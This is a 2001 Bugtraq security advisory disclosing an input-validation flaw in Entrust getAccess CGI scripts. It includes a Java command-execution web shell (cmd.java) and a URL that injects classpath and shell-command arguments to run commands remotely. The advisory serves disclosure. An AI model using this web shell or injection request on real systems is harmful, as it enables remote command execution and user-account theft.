[21932] in bugtraq
Entrust - getAccess
daemon@ATHENA.MIT.EDU (rudi carell)
Fri Jul 27 12:31:40 2001
From: "rudi carell" <rudicarell@hotmail.com>
To: BUGTRAQ@securityfocus.com
Date: Fri, 27 Jul 2001 11:33:54
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F102s5CRTYBK1CRwFRf000074d0@hotmail.com>
hola friends,
getAccess[tm] is used as a single-sign-on system often used for large
internet-portals.
--- snip (http://www.entrust.com) ---
Entrust GetAccess[tm] offers the most comprehensive solution for
consistently deploying and enforcing
basic and enhanced security across online applications, from Web browsers,
to enterprise applications and
legacy database systems.
--- snip ---
problem description:
due to missing input-validation it is possible to run(start) java-programs
on the "getaccess"-machine.
combined with public accessibly uploads or any other possibility to create
class-files on the server this vulnerability c
ould be used to run arbitrary system commands on the target machine( or
change getAccess parameters and steal any user ac
count you want BTW).
it should also be possible(but not proven yet) to exploit default-,install-
or demo classes within Java or getAccess whic
h would make the file-upload(creation) part unneeded!
(uninstall.class is very likely an effective DOS)
Example:
find exploitable getAccess-class(one which accepts params!) or upload a
"command" programm:
--- cut here (example cmd.java) ---
import java.io.*;
public class cmd {
public static void main(String args[]) {
s = null;
try {
Process p = Runtime.getRuntime().exec(args[0]+" "+args[1]);
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
System.out.println("Content-type: text/html\n\n");
while ((s = stdInput.readLine()) != null) { System.out.println(s); }
while ((s = stdError.readLine()) != null) { System.out.println(s); }
System.exit(0);
}
catch (IOException e) { e.printStackTrace(); System.exit(-1); }
} }
--- cut here ---
later then .. a http-request to :
http://hostname/sek-bin/login.gas.bat/x%20-classpath%20/whereever%20cmd%20/bin/ls%20-alsi
.. will run "/whereever/cmd.class" and execute "/bin/ls -alsi"
Summary:
object: *.gas.bat (all the getAccess cgi-shell-scripts)
class: input validation
remote: yes
vendor: has been informed with a separate e-mail ( entrust@entrust.com )
(and BTW. i would NEVER EVER recommand to use shell-scripts for
authentication purposes!)
nice day,
rC
rudicarell@hotmail.com
security@freefly.com
http://www.freefly.com/security/
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